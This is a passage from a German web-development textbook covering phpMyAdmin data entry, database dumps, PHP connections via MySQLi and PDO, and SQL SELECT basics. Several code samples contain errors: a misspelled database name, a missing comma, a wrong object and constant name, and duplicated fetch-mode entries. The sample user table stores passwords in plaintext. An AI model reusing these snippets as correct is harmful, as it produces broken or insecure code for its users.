            In den meisten Fällen werden Datensätze über geeignete Weboberflächen in die Tabellen gespeichert – denken Sie beispielsweise an eine User-Tabelle: Hierfür gäbe es wohl ein geeignetes Formular, über das sich der User registrieren könnte. Da dieses Formular zum jetzigen Zeitpunkt jedoch einen gehörigen Rattenschwanz an Entwicklungsarbeit nach sich ziehen würde (ganz abgesehen davon, dass wir aktuell noch gar nicht wissen, wie man eine Datenbank mithilfe von PHP an eine Website anbindet), bietet ein Datenbankverwaltungstool wie phpMyAdmin natürlich ein entsprechendes Hilfsmittel an. Sie erreichen es, indem Sie die gewünschte Tabelle links in der Datenbankspalte anklicken und den Tab Einfügen auswählen. Dadurch wird eine Eingabemaske erzeugt, die es Ihnen ermöglicht, (zunächst) zwei Datensätze einzugeben (siehe Abbildung 12.6).

            
                [image: Das Einfügen neuer Datensätze in phpMyAdmin erfolgt über das Einfügen-Tab, nachdem man links in der Auflistung der Datenbanken die gewünschte Datenbank ausgewählt hat.]

                Abbildung 12.6    
            Das Einfügen neuer Datensätze in phpMyAdmin erfolgt über das Einfügen-Tab, nachdem man links in der Auflistung der Datenbanken die gewünschte Datenbank ausgewählt hat.

            
            Nachdem Sie zwei Datensätze (oder auch nur einen Datensatz) angelegt haben, können Sie im unteren Teil dieser Maske wählen, was nun weiter passieren soll:

            
                	
                    Entweder speichern Sie diese beiden Datensätze in die Tabelle und kehren dann zur Übersicht zurück.

                

                	
                    Oder Sie speichern diese beiden Datensätze und fügen danach weitere Datensätze ein.

                

            

            Abbildung 12.7 zeigt, wie es geht: Das Einfügen neuer Datensätze erfolgt grundsätzlich mit zwei neuen Datensätzen (Einfügen mit). Nach erfolgtem Speichern werden Sie dann entweder zur Darstellung der Datensätze weitergeleitet (und dann zurück) oder Sie geben weitere Datensätze ein (und dann anschliessend einen weiteren Datensatz einfügen).

            
                [image: Neue Datensätze einfügen]

                Abbildung 12.7    
            Neue Datensätze einfügen

            
            Alternativ könnten Sie die Einträge natürlich auch verwerfen und zur Übersicht zurückkehren.

        
    


                    
                        
        12.4    Sicher ist sicher – Sichern einer Datenbank

        Bevor Sie sich jedoch großartig darum kümmern, Datensätze in eine Datenbank einzugeben bzw. eingeben zu lassen, sollten Sie wissen, wie man eine Datenbank sichert, wobei man hierbei typischerweise zwei Wege gehen kann:

        
            	
                Die gesamte Datenbank soll gesichert werden.

            

            	
                Nur der Datenbankinhalt (also die Tabellen der Datenbank) soll gesichert werden.

            

        

        In den meisten Fällen entscheidet man sich für die zweite Variante, da man im realen Arbeiten mit Providern gar nicht die Möglichkeit hat, Datenbanken anzulegen: In der Regel erhalten Sie lediglich den Zugriff auf bereits existierende (also vorab für Sie angelegte) Datenbanken.

        Um den Inhalt einer Datenbank zu speichern – man spricht auch davon, einen sogenannten Datenbank-Dump zu erzeugen –, klicken Sie in phpMyAdmin links auf den Namen der Datenbank und wählen danach in der Menüzeile des Hauptbereichs das Tab Exportieren aus (siehe Abbildung 12.8). Ein solcher Datenbankdump beinhaltet sämtliche SQL-Befehle, die notwendig sind, um die (Struktur und die Daten der) Datenbank genau so wiederherzustellen, wie sie im Moment des Exports sind. Was genau diese angesprochenen SQL-Befehle sind, erfahren Sie in Abschnitt 12.6.

        Die dort getroffenen Einstellungen sind für unsere Zwecke bereits ideal: Wir wollen die Datenbank im SQL-Format speichern, um sie später wieder in eine bestehende Datenbank importieren zu können. Nach einem Klick auf den OK-Button werden Sie zum Bestätigen des Downloads aufgefordert.

        
            [image: Der Export einer Datenbank in einen Dump generiert eine Textdatei, in der sämtliche Befehle stehen, um die Datenbank wieder in genau den Zustand zu bringen, in dem sie gerade ist.]

            Abbildung 12.8    
            Der Export einer Datenbank in einen Dump generiert eine Textdatei, in der sämtliche Befehle stehen, um die Datenbank wieder in genau den Zustand zu bringen, in dem sie gerade ist.

        
        Alternativ kann eine Datenbank in vielen weiteren Formaten gespeichert werden: als CSV-Datei, als Excel-Datei usw.

        
            [+]  Der Wert von Daten

            Es ist Ihnen sicherlich völlig klar, was das wertvollste Gut im Internet ist: Daten. Weil diese üblicherweise in Datenbanken abgelegt werden, sollten Sie diesen Schatz in regelmäßigen Abständen sichern. Viele Provider bieten die Möglichkeit automatischer Backups von sowohl Datenbanken als auch Webdokumenten. Dieses Angebot sollten Sie in jedem Fall in Anspruch nehmen!

        

    


                    
                        
        12.5    Die zwei Freunde Webserver und Datenbankserver – Datenbankanbindung mittels PHP

        Lassen Sie uns weitergehen und eine Website an eine Datenbank anbinden. Denn immer dann, wenn eine Datenbank mit PHP abgefragt werden soll, muss eine Verbindung vom Webserver zum Datenbankserver hergestellt werden. Sobald diese Verbindung steht, kann man auf alle Tabellen zugreifen, die sich innerhalb der gewünschten Datenbank befinden. Besitzt man auf dem Server mehr als nur eine Datenbank, so kann man selbstverständlich auf jede dieser Datenbanken zugreifen.

        Die Verbindung zu einem Datenbankserver kann auf mehrere Arten erfolgen:

        
            	
                mithilfe der MySQLi-Erweiterung und der zugehörigen mysqli-Klasse

            

            	
                mithilfe der PDO-Schnittstelle (PHP Data Objects)

            

        

        Vergleicht man die beiden Ansätze, so kann man die folgenden Vor- und Nachteile herausarbeiten. Ich möchte jedoch an dieser Stelle anmerken, dass es zwar spannend ist, zu wissen, welche Vor- und Nachteile die eine oder die andere Variante hat – nur leider wird Ihnen das bei Ihrem aktuellen Wissensstand nicht viel weiterhelfen, da Ihnen die Begriffe erst dann geläufig sind, wenn Sie am Ende des Kapitels angekommen sind. Aus diesem Grund empfehle ich Ihnen, auf diese Übersicht zurückzukommen, wenn das Kapitel zu Ende ist. Für die Erfahrenen unter Ihnen kann die Darstellung jedoch recht sinnvoll sein.

        Die Vorteile des PDO-Ansatzes sind:

        
            	
                Der Zugriff auf Daten, die von einem Datenbankserver abgefragt wurden, ist einfach.

            

            	
                Variable Werte können im Fall von Abfragen direkt übergeben werden.

            

            	
                Wertetypen variabler Werte werden automatisch erkannt. (Genauer gesagt werden sämtliche übergebenen Werte zunächst als ein String behandelt und später in den korrekten Wertetyp konvertiert.)

            

            	
                Es besteht die Möglichkeit der Autobufferung von Abfragen im Rahmen von Prepared Statements.

            

            	
                Übergabeparameter können benannt werden.

            

        

        Die Vorteile von MySQLi wiederum sind:

        
            	
                asynchrone sowie gleichzeitige Abfragen

            

            	
                korrektes Schließen von Datenbanken

            

            	
                automatisches Aufräumen im Falle persistenter Verbindungen

            

        

        Als Resümee können Sie mitnehmen: Beide Ansätze sind halbwegs gleichwertig, und es macht in der Tat keinen großen Unterschied, ob Sie sich für den einen oder den anderen Ansatz entscheiden. So viel sei jedoch gesagt:

        
            	
                MySQLi hat immer die Nase vorn, wenn es um die letzten Features geht, die das Datenbanksystem bietet (was in der Regel eher etwas für fortgeschrittene Entwickler ist).

            

            	
                PDO ist etwas einfacher und auch konsistenter zu handhaben, bietet aber nicht alle Möglichkeiten, die MySQLi bietet (was jedoch dem Einsteiger und Fortgeschrittenen wenig Sorgen bereitet).

            

        

        
            [»]  Wrapper vs. native Nutzung der Ansätze

            Die meisten Webdesigner*innen wählen den Ansatz, dass sie sich einen eigenen Wrapper (in Form einer Klasse oder Funktionsbibliothek) programmieren, in den die Datenbankbefehle integriert sind. Erst bei der Nutzung des Wrappers entscheiden die Designer*innen dann, welcher Ansatz verwendet werden soll. Auch wir werden diesen Weg gehen und einen Wrapper entwickeln.

        

        Aber sehen wir uns einfach mal an, wie der Ansatz mithilfe von MySQLi wäre, da dieser Ansatz bei der Webentwicklung doch sehr verbreitet ist. Um eine Verbindung zu einem Datenbankserver herzustellen, benötigt man zunächst einmal drei Informationen:

        
            	
                die Hostadresse des Datenbankservers (hier: localhost): Dies kann entweder eine Domänenadresse oder eine IP-Adresse sein.

            

            	
                einen Usernamen (hier: root): Dieser wird in der Regel vom Provider zur Verfügung gestellt und kann nicht geändert werden.

            

            	
                ein Passwort (hier: "", also leer): Das Passwort wird ebenso vom Provider gestellt.

            

            	
                der Name der anzubindenden Datenbank (hier: db_fullstack): Er wird ebenfalls typischerweise vom Provider bereitgestellt. Diese Information wird benötigt, um eine explizite Datenbank auf dem Server auszuwählen.

            

        

        
            12.5.1    MySQLi

            Der zugehörige Code sieht dann wie folgt aus:

            mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
try {
  $conn = new MySQLi("localhost","root","","db_fullstack");
  $conn->set_charset("utf8mb4");
} catch(Exception $e) {
  //es ist irgendein Fehler während des Verbindungsaufbaus oder der Auswahl 
  //der Datenbank aufgetreten --> ABBRUCH
  $err = $e->getMessage();
  error_log($err);
  exit("Fehler im Verbindungsaufbau: " . $err);
}


            Der gesamte Verbindungsaufbau (und alles damit in Zusammenhang Stehende) wird in einem sogenannten Verbindungsobjekt (hier: $conn) gespeichert. Weil wir uns für die objektorientierte Schreibweise entschieden haben (gekennzeichnet durch die Verwendung des Befehls new MySQLi), können wir mithilfe der objektorientierten Schreibweise -> auf die Eigenschaften und Methoden des Verbindungsstrings zugreifen.

            Sollte ein Fehler während der Verbindung auftreten, so wird dieser mittels catch abgefangen und in das Error-Log geschrieben. Welcher Fehler es im Speziellen ist, ist uns zunächst egal – in jedem Fall müssen wir die weitere Abarbeitung abbrechen, da die Verbindung zum Datenbankserver eben nicht erfolgreich war. Dies geschieht unter Verwendung des Befehls exit (oder auch die, was identisch mit exit ist).

            In der Praxis würde man an dieser Stelle nicht den exit-Befehl verwenden, sondern über eine Header-Weiterleitung auf eine entsprechende (eigens gestaltete) Fehlerseite (z. B. errors/dbconnect.html) weiterleiten. Diese Unterscheidung könnte man wiederum mithilfe unseres Testmodes abfangen:

            mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
try {
  $conn = new MySQLi("localhost","root","","db_fullstack");
  $conn->set_charset("utf8mb4");
} catch(Exception $e) {
  //es ist irgendein Fehler während des Verbindungsaufbaus oder der Auswahl 
  //der Datenbank aufgetreten --> ABBRUCH
  $err = $e->getMessage();
  error_log($err);
  if(TESTMODE) { ta("Fehler im Verbindungsaufbau: " . $err); }
  else { header("Location: errors/dbconnect.html"); }
}


            Den Befehl mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); würde man aus dem Code entfernen und in eine Konfigurationsdatei schreiben. Greifen wir auf unsere Config-Datei config.inc.php aus dem PHP-Kapitel zurück, so würden wir diese wie folgt erweitern:

            const TESTMODE = true;
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
 
if(TESTMODE) {
  error_reporting(E_ALL);
  ini_set("display_errors",1);
}
else {
  error_reporting(0);
  ini_set("display_errors",0);
}


        
        
            12.5.2    PDO (PHP Data Objects)

            Der alternative Weg der Datenbankanbindung führt über PDO – das Ergebnis wird natürlich dasselbe sein, aber die Herangehensweise ist etwas anders:

            
                	
                    Wir definieren einen Verbindungsstring, in dem wir die Adresse des Datenbankservers sowie den Datenbanknamen und den verwendeten Zeichensatz angeben:

                    $dsn = "mysql:host=localhost;dbname=db_fullsteck;charset=utf8mb4"; 


                

                	
                    Danach legen wir (optional) zusätzliche Einstellungen in Form eines Arrays fest (beispielsweise, dass die Fehler als Exceptions verarbeitet werden und dass wir dies auch sofort so definieren wollen):

                    $options = [
  PDO::ATTR_EMULATE_PREPARES => false,
  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ
]; 


                

                	
                    Gerüstet mit diesen Vorbereitungen, versuchen wir nun die Datenbankverbindung aufzubauen. Sollte das nicht klappen, fangen wir die Exception ab und verarbeiten den Fehler (wie auch im Fall von MySQLi):

                    try {
  $pdo = new PDO($dsn, "root", "", $options);
} catch (Exception $e) {
  $err = $e->getMessage();
  error_log($err);
  ta($err);
  exit('<p class="error">Fehler im Verbindungsaufbau.</p>');
} 


                

            

            Falls während des Verbindungsaufbaus ein Fehler auftritt, können wir zwei Wege gehen: Entweder wir definieren sofort, dass auftretende Fehler als Exceptions behandelt werden, oder wir definieren dies erst beim Auftreten des Fehlers. Im zweiten Fall würden wir in den Optionen den Eintrag PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION zunächst weglassen und ihn erst beim Auftreten des Fehlers hinzufügen.

            Variante 2, die nachträgliche Definition des Errormodes, sieht also so aus:

            $dsn = "mysql:host=localhost;dbname=db_fullstack;charset=utf8mb4";
$options = [
  PDO::ATTR_EMULATE_PREPARES => false,
  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ
];
try {
  $pdo = new PDO($dsn, "root", "", $options);
  $conn->setAttribute(PDO::ATTR_ERRORMODE, PDO::ERRMODE_EXCEPTION);
}
catch(PDOException $e) {
//Code, der im Fall eines Verbindungsfehlers ausgeführt werden soll
}


            An sich existieren sogar drei Werte für den Errormode:

            
                	
                    PDO::ERRMODE_SILENT (Standard): Der Fehlercode kann mit PDO::errorCode() bzw. PDO::errorInfo() für das PDO-Objekt wie auch mit PDOStatement::errorCode() bzw. PDOStatement::errorInfo() für ein SQL-Statement ermittelt werden. (Details finden Sie etwa unter https://www.php.net/manual/de/class.pdostatement.php.)

                

                	
                    PDO::ERRMODE_WARNING: wie oben, jedoch wird zusätzlich ein Warning ausgegeben.

                

                	
                    PDO::ERRMODE_EXCEPTION: wie oben, jedoch wird eine Exception erzeugt.

                

            

            Üblicherweise entscheiden wir uns sofort für die Art und Weise der Fehlerbehandlung.

        
        
            12.5.3    Räumen wir auf: MySQLi und PDO in einem Wrapper

            Ein paar Dinge würden mich noch stören:

            
                	
                    Die Zugangsdaten zu einer Datenbank gehören in unsere Konfigurationsdatei, denn dafür haben wir sie ja (config.inc.php):

                    const TESTMODE = true;
const DB = [
  "host" => "localhost", //Hostadresse
  "user" => "root", //Username
  "pwd" => "", //Passwort
  "name" => "db_fullstack", //Datenbankname
  "port" => 3306, //Port des DB-Servers (optional)
  "charset" => "utf8mb4", //Zeichensatz
  "api" => "PDO" //Schnittstelle: PDO oder MySQLi
  "errors" => [ //Fehlerseiten
    "dbconnect" => "errors/dbconnect.html" //DB-Verbindung
  ]
];
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

if(TESTMODE) {
  error_reporting(E_ALL);
  ini_set("display_errors",1);
}
else {
  error_reporting(0);
  ini_set("display_errors",0);
} 


                

                	
                    Ich hätte gern eine schnelle Auswahlmöglichkeit, ob MySQLi oder PDO zum Einsatz kommen soll. Dazu würde ich mir eine eigene »Verbindungsdatei« (conn.inc. php) anlegen, in welcher der Verbindungsaufbau initiiert wird und wo die dort aufgebaute Verbindung global zur Verfügung steht:

                    <?php
function dbconnect(?string $api=null):PDO|MySQLi {
  $founderr = false;
  $conn = null;

  if(is_null($api)) { $api = DB["api"]; } //sofern keine explizite API an 
  //die Funktion übergeben wird, wird die in den Konfigurationsdaten 
  //angegebene API verwendet
 
  switch(strtolower($api)) {
    case "mysqli":
      try {
        $conn = new MySQLi(DB["host"], DB["user"], DB["pwd"], DB["name"]);
        $conn->set_charset(DB["charset"]);
      } catch(Exception $e) {
        $founderr = true;
        $err = $e->getMessage();
      }
      break;
    default:
      $dsn = "mysql:host=" . DB["host"] . ";dbname=" . DB["name"] . ↩ ";charset=" . DB["charset"];
       $options = [
        PDO::ATTR_EMULATE_PREPARES => false,
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ
      ];
      try {
        $conn = new PDO($dsn, DB["user"], DB["pwd"], $options);
      } catch (Exception $e) {
        $founderr = true;
        $err = $e->getMessage();
      }
  }
  if($founderr) {
    if(TESTMODE) {
      ta($err);
      exit('<p class="error">Fehler im Verbindungsaufbau.</p>');
    }
    else { header("Location: " . DB["errors"]["dbconnect"]); }
  }
  return $conn;
}
?> 


                

            

            Die Funktion ist mit dem Feature ausgestattet, dass ihr optional der Name einer API übergeben werden kann. Sollte keine API angegeben werden, so wird auf die API in den Konfigurationsdaten zurückgegriffen (DB["API"]).

            Nun kann eine Datenbankverbindung denkbar einfach hergestellt werden, wie der folgende Code zeigt: Es müssen – neben unserer alten Bekannten common.inc.php – lediglich die Dateien config.inc.php und conn.inc.php (in der richtigen Reihenfolge) eingebettet und die Funktion dbconnect aufgerufen werden:

            <?php
require("../../includes/config.inc.php");
require("../../includes/common.inc.php");
require("../../includes/conn.inc.php");
$GLOBALS["conn"] = dbconnect(); //stellt eine Verbindung zum DB-Server her und
//speichert die Verbindung in $GLOBALS["conn"]
?>


            Wir sehen also, dass die Verbindung nun in der globalen Variable $GLOBALS["conn"] für die weitere Verwendung zur Verfügung steht.

            Ein paar Anmerkungen:

            
                	
                    Bei der Funktion dbconnect werden als Rückgabewerte die Typen PDO und MySQLi angegeben. Bisher kannten Sie als Rückgabewerte von Funktionen nur die Standardtypen wie int, float, string und bool. Im Sinne der Objektorientierung ist es jedoch möglich, auch Klassen als (Übergabe- oder Rückgabe-)Typen anzugeben. Weil es sich sowohl bei MySQLi als auch bei PDO um Klassen handelt, stellen diese also die Rückgabetypen dar.

                

                	
                    Die Funktion strtolower wandelt einen String in Kleinbuchstaben um; das Äquivalent nennt sich strtoupper, um in Großbuchstaben umzuwandeln. Solche Befehle wendet man dann gerne an, wenn man nicht auf die Groß- und Kleinschreibung achten möchte: entweder alles in Kleinbuchstaben umwandeln und dann mit kleingeschriebenen Strings vergleichen oder umgekehrt.

                

            

        
    


                    
                        
        12.6    Noch eine Sprache – SQL

        Sobald Sie die Verbindung zu einem Datenbankserver hergestellt und in diesem Zuge eine Datenbank ausgewählt haben, möchten Sie selbstverständlich mit den gespeicherten Daten auch arbeiten bzw. neue Daten speichern können.

        Ganz allgemein kann man sagen, dass es im Zusammenhang mit Datenbanken vier Kernaufgaben gibt:

        
            	
                das Auslesen von Daten aus einer (oder mehrerer) Tabelle(n): SELECT

            

            	
                das Einfügen von Daten in eine Tabelle: INSERT

            

            	
                das Löschen von Daten aus einer Tabelle: DELETE

            

            	
                das Ändern (Aktualisieren) von Daten in einer Tabelle: UPDATE

            

        

        Nun ist es leider so, dass Sie für die obigen Arbeiten nicht PHP als Sprache verwenden können, da Datenbanken eine eigene Abfragesprache besitzen – PHP wird uns lediglich als das System dienen, das Befehle vom Webserver zum Datenbankserver übermittelt.

        Die Abfragesprache trägt den Namen SQL (Structured Query Language). Die gute Nachricht ist: SQL ist einfach zu lesen und zu schreiben. In weiterer Folge wird sich zwar zeigen, dass SQL eine sehr umfangreiche und mächtige Sprache ist, jedoch ist es wie bei jeder Programmier- oder Auszeichnungssprache: Den vollen Umfang der Möglichkeiten werden wir wohl nur sehr selten nutzen (können).

        Die als Text formulierten Befehle (wir sprechen von SQL-Statements) werden mithilfe des Befehls query() (MySQLi und PDO) in weiterer Folge an den Datenbankserver geschickt, der diesen Befehl abarbeitet und eine entsprechende Antwort zurückliefert. Im folgenden Codefragment gehen wir davon aus, dass das Verbindungsobjekt (MySQLi oder PDO), wie im vorigen Abschnitt erläutert, in der globalen Variablen $GLOBALS["conn"] gespeichert ist. Dies setzen wir für alle künftigen Überlegungen voraus.

        $sql = "SELECT * FROM tbl_user";
$antwort = $GLOBALS["conn"]->query($sql) or die("Fehler in der Query: " . $conn->error);


        Ganz unabhängig davon, was genau nun dieses SQL-Statement bewirkt, zeigt das Beispiel die Vorgehensweise:

        
            	
                Wir formulieren ein SQL-Statement in Textform.

            

            	
                Wir übermitteln das SQL-Statement an den Datenbankserver und empfangen von ihm eine Antwort.

            

            	
                Sollte die Antwort ein boolescher Wert sein, so wird das Skript über den die-Befehl abgebrochen und es wird ein Fehler auf dem Bildschirm des Users ausgegeben: »Fehler in der Query: ...«. Der Grund hierfür ist der logische Operator or, der die rechte Seite (nach dem or) dann ausführt, wenn die linke Seite (vor dem or) false ist.

            

        

        Der nächste Schritt ist nun, sich mit der Antwort des Datenbankservers auseinanderzusetzen. Diese hängt jedoch davon ab, welches der vier SQL-Statements wir benutzt haben:

        
            	
                Im Falle von SELECT werden Daten aus einer oder mehreren Tabellen abgefragt, weshalb wir davon ausgehen können, dass die vom Datenbankserver zurückgelieferte Antwort die abgefragten Daten enthält.

            

            	
                Im Falle von INSERT, DELETE und UPDATE werden jedoch keine Daten abgefragt, sondern lediglich Kommandos an den Datenbankserver gesendet. Aus diesem Grund erhalten wir von ihm als Antwort lediglich einen booleschen Wert zurück, der angibt, ob oder ob nicht das Statement erfolgreich ausgeführt werden konnte.

            

        

        
            [»]  Die Schreibweise von SQL-Statements

            Es ist Ihnen sicherlich nicht entgangen, dass die SQL-Statements in Großbuchstaben geschrieben werden. Das ist selbstverständlich keine Verpflichtung, sondern – ja, Sie haben es erraten! – eine Konvention unter Entwickler*innen.

        

        Wenn Sie nun erwarten, dass in $antwort bereits die abgefragten Daten sichtbar werden, so muss ich Sie enttäuschen. Aber testen Sie selbst, indem Sie sich den Inhalt von $antwort mithilfe unserer Testausgabefunktion auf dem Bildschirm ausgeben lassen. Und experimentieren Sie ruhig mit den beiden unterschiedlichen APIs. In Abbildung 12.9 sehen Sie das Ergebnis.

        Während MySQLi eine noch relativ sinnvolle Antwort liefert (Anzahl der abgefragten Datensätze: num_rows → 11, Anzahl der Felder pro Datensatz: field_count → 7), erhalten wir bei PDO lediglich die Info, welches SQL-Statement wir übermittelt haben. Als wenn wir das nicht selber wüssten!

        
            [image: MySQLi und PDO liefern recht unterschiedliche Antworten auf das übermittelte SQL-Statement.]

            Abbildung 12.9    
            MySQLi und PDO liefern recht unterschiedliche Antworten auf das übermittelte SQL-Statement.

        
        Auch hier empfiehlt sich wieder der Einsatz eines Wrappers für die query-Methode in Hinblick auf etwaige zukünftige Änderungen von Datenbankanbindungen:

        function query(MySQLi|PDO $conn, string $sql):MySQLi_Result|PDOStatement {
  $founderr = false;
  try {
    $r = $conn->query($sql);
  }
  catch(Exception $e) {
    $founderr = true;
    $err = $e->getMessage();
  }
  if($founderr) {
    if(TESTMODE) {
      ta($err);
      exit('<p class="error">Fehler im SQL-Statement.</p>');
    }
    else { header("Location: " . DB["errors"]["dbquery"]); }
  }
  return $r;
}


        Listing 12.1    
            Eine Hilfsfunktion zum Absetzen von SQL-Statements hilft bei der Arbeit mit SQL-Statements

        
            12.6.1    PDO-Special: Varianten zum Auslesen von Datensätzen

            Im Fall von PDO haben wir uns bereits beim Verbindungsaufbau ganz konkret dafür entschieden, dass die von einer Abfrage zurückgegebenen Daten als Objekte behandelt werden:

            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ

            Das wäre an sich nicht notwendig gewesen, da wir diese Entscheidung auch erst direkt beim Ausführen der fetch-Methode hätten angeben können: Statt $ds = $daten->fetch() hätten wir auch $ds = $daten->fetch(PDO::FETCH_OBJ) schreiben können. (Die fetch-Methode liest die Datensätze iterativ aus der Menge der zurückgegebenen Datensätze aus.) Jedoch ist das nicht allzu komfortabel, und außerdem ist es für einen Entwickler in der Regel sinnvoller, bereits vor der Entwicklung alles so vorzubereiten, dass man sich während der Entwicklung über möglichst wenige Punkte den Kopf zerbrechen muss. Theoretisch wäre es auf fünf Arten möglich, auf die Datensätze zuzugreifen:

            
                	
                    PDO::FETCH_ASSOC: Darstellung mittels eines assoziativen Arrays; vergleichbar mit fetch_assoc() in MySQLi.

                

                	
                    PDO::FETCH_BOTH: Darstellung mittels eines gemischt assoziativen Arrays; vergleichbar mit fetch_array() in MySQLi.

                

                	
                    PDO::FETCH_OBJ: Darstellung mittels eines Objekts; vergleichbar mit  fetch_object() in MySQLi.

                

                	
                    PDO::FETCH_ASSOC: Darstellung mittels eines assoziativen Arrays; vergleichbar mit fetch_assoc()

                

                	
                    PDO::FETCH_BOTH: Darstellung mittels eines gemischt assoziativen Arrays; vergleichbar mit fetch_array()

                

            

            Bevor wir nun zur Tat schreiten und Sie erste SQL-Befehle kennenlernen, möchte ich noch sehr konkret auf einen Punkt hinweisen: Offensichtlich haben wir es nun mit zwei Systemen zu tun, nämlich mit dem Webserver und mit dem Datenbankserver. Es wird Ihnen auffallen, dass wir uns nicht selten entscheiden müssen, welcher der beiden Server welche Aufgaben erledigen soll. Denken wir uns einmal in das folgende Beispiel hinein: Auf einer Website sollen die ersten hundert Personen aus einer Personenliste dargestellt werden, deren Nachname Maier ist. Um dies zu realisieren, können wir zwei Wege gehen:

            
                	
                    Wir fragen von einer Datenbank sämtliche Personen ab und filtern die Daten dann auf dem Webserver nach dem Nachnamen.

                

                	
                    Wir fragen von einer Datenbank nur diejenigen Personen ab, deren Nachname Maier ist. Außerdem lassen wir uns nur die ersten hundert Datensätze zurückliefern.

                

            

            Offensichtlich scheint der zweite Weg der bessere zu sein. Das ist in der Tat auch so, und zwar aus zwei Gründen:

            
                	
                    Eine Datenbank ist dafür gedacht, mit Daten zu arbeiten. Das kann sie sehr, sehr gut, und deshalb sollte man einer Datenbank in der Regel auch sämtliche Arbeiten überlassen, die sich um das Thema Daten drehen. In unserem Fall sind dies die Punkte Filtern von Daten (nach den Maiers) und Einschränken der Anzahl von Datensätzen (auf einhundert).

                

                	
                    Je mehr Datensätze zwischen Datenbankserver und Webserver hin- und hergeschaufelt werden müssen, umso länger dauert deren Kommunikation und desto mehr Daten müssen im (begrenzten) Hauptspeicher des Webservers abgelegt werden. Gehen Sie nicht davon aus, dass sich der Webserver und der Datenbankserver auf derselben Hardware befinden, sondern dass sie vielmehr auch räumlich voneinander getrennt sind: Beispielsweise kann sich der Webserver in einer Serverfarm in Los Angeles befinden, der Datenbankserver ist jedoch in Tokyo zu finden. (Zur Erinnerung: Wir verstehen unter Serversystemen keine Hardware, sondern eine Software!)

                

            

            Das Fazit lautet also: Je mehr Arbeiten wir der Datenbank übertragen können, umso besser. Diese Aussage gilt zwar nicht uneingeschränkt (beispielsweise ist das rekursive Abfragen von Daten nicht immer allzu performant), für unsere Aktivitäten in der nächsten Zeit jedoch schon. Sie werden im Laufe Ihrer Karriere erkennen, dass MySQL (wie jede andere Datenbank auch) ein sehr mächtiges System ist. Wir kratzen im Webbereich wirklich nur wenig an der Oberfläche der Möglichkeiten. Nicht umsonst ist das Feld der Datenbankentwicklung und -programmierung ein eigener Berufszweig.

        
        
            12.6.2    Das Abfragen von Datensätzen: SELECT

            Üblicherweise ist der erste Schritt beim Arbeiten mit Datenbanken der, dass man bestehende Datensätze aus einer Tabelle (oder in weiterer Folge aus mehreren Tabellen) auslesen möchte. Dies erfolgt über ein SELECT-Statement.

            Wenn wir einmal von der Tabelle tbl_user ausgehen, dann lautet die einfachste Form dieses Befehls:

            SELECT * FROM tbl_user


            Kurz zur Erklärung:

            
                	
                    SELECT ist der Name des Befehls, der den Datenbankserver anweist, Informationen aus einer noch zu definierenden Tabelle auszulesen.

                

                	
                    * gibt an, dass alle Felder (Spalten) einer Tabelle ausgelesen und zurückgeliefert werden sollen.

                

                	
                    FROM tbl_user gibt an, aus welcher Tabelle der aktuellen Datenbank die Informationen geholt werden.

                

            

            Über die Datensätze (Wie viele? Soll ein Filter angewendet werden? etc.) haben wir kein Wort verloren. Somit gilt: Wenn ein SELECT-Statement wie oben stehend ausgeführt wird, betrifft dies immer sämtliche in der Tabelle gespeicherten Datensätze. Tabelle 12.6 zeigt das Ergebnis unserer Abfrage.
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                            5

                        
                        	
                            test2@test.at

                        
                        	
                            test2345

                        
                        	
                            Markus

                        
                        	
                            Huberer

                        
                        	
                            2001-02-05

                        
                        	
                            2023-05-06 11:11:30

                        
                    

                    
                        	
                            6

                        
                        	
                            test3@test.at

                        
                        	
                            test934865

                        
                        	
                            Sabine

                        
                        	
                            Maier

                        
                        	
                            NULL

                        
                        	
                            2023-05-06 11:11:30

                        
                    

                    
                        	
                            7

                        
                        	
                            test4@test.at

                        
                        	
                            tesa3783

                        
                        	
                            Sabine

                        
                        	
                            Müller

                        
                        	
                            1978-12-18

                        
                        	
                            2023-05-06 11:11:30

                        
                    

                    
                        	
                            8

                        
                        	
                            test5@test.at

                        
                        	
                            testxy

                        
                        	
                            Harald

                        
                        	
                            Maierhofer

                        
                        	
                            1979-11-12

                        
                        	
                            2023-05-26 17:23:04

                        
                    

                    
                        	
                            10

                        
                        	
                            test6@test.at

                        
                        	
                            testxy

                        
                        	
                            Harald

                        
                        	
                            Maierhofer

                        
                        	
                            1979-11-12

                        
                        	
                            2023-05-26 17:24:45

                        
                    

                    
                        	
                            12

                        
                        	
                            test7@test.at

                        
                        	
                            666TestXy984

                        
                        	
                            Harald

                        
                        	
                            Obermüller

                        
                        	
                            1979-11-12

                        
                        	
                            2023-05-26 17:27:06

                        
                    

                    
                        	
                            14

                        
                        	
                            test89@ test.at

                        
                        	
                            abc123

                        
                        	
                            Theresia

                        
                        	
                            Obermaier

                        
                        	
                            1981-05-12

                        
                        	
                            2023-05-26 17:29:46

                        
                    

                    
                        	
                            15

                        
                        	
                            test17@ test.at

                        
                        	
                            asdfsadf

                        
                        	
                            Sandra

                        
                        	
                            Huber

                        
                        	
                            1978-05-12

                        
                        	
                            2023-05-26 17:44:56

                        
                    

                    
                        	
                            16

                        
                        	
                            test18@ test.at

                        
                        	
                            TestXXX

                        
                        	
                            Hubert

                        
                        	
                            Huber

                        
                        	
                            1999-08-17

                        
                        	
                            2023-05-26 18:55:10

                        
                    

                
            

            Tabelle 12.6    
            Das Ergebnis des SELECT-Statements »SELECT * FROM tbl_user«

            Oben stehendes SELECT-Statement würde also den gesamten Inhalt der Tabelle als Ergebnis liefern.

            Alternativ dazu, dass man alle Spalten einer Tabelle auswählt, kann man auch nur gewisse Spalten anfordern. Dazu listen Sie die gewünschten Spalten auf, getrennt durch ein Komma:

            SELECT Vorname, Nachname FROM tbl_user


